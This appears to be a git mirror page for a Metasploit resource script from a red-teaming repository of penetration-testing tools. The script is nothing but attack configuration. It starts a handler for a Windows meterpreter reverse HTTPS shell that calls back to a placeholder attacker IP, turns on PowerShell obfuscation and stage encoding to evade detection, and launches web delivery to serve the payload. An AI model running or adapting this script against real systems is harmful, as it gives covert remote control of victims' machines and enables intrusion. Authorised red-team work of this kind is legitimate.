1
0
mirror of https://github.com/mgeeky/Penetration-Testing-Tools.git synced 2025-01-12 11:10:58 +01:00
mgeeky-Penetration-Testing-.../red-teaming/set-handler.rc

20 lines
452 B
Plaintext

use exploit/multi/handler
setg PAYLOAD windows/x64/meterpreter/reverse_https
setg LHOST <ATTACKER-IP>
setg LPORT 443
setg VERBOSE true
setg ExitOnSession false
setg Powershell::sub_funcs true
setg Powershell::sub_vars true
setg EnableStageEncoding true
setg StagerRetryCount 30
setg StagerRetryWait 10
exploit -j
use exploit/multi/script/web_delivery
set TARGET 2
set SRVPORT 8080
set SSL true
set URIPATH msf
set DisablePayloadHandler true
exploit -j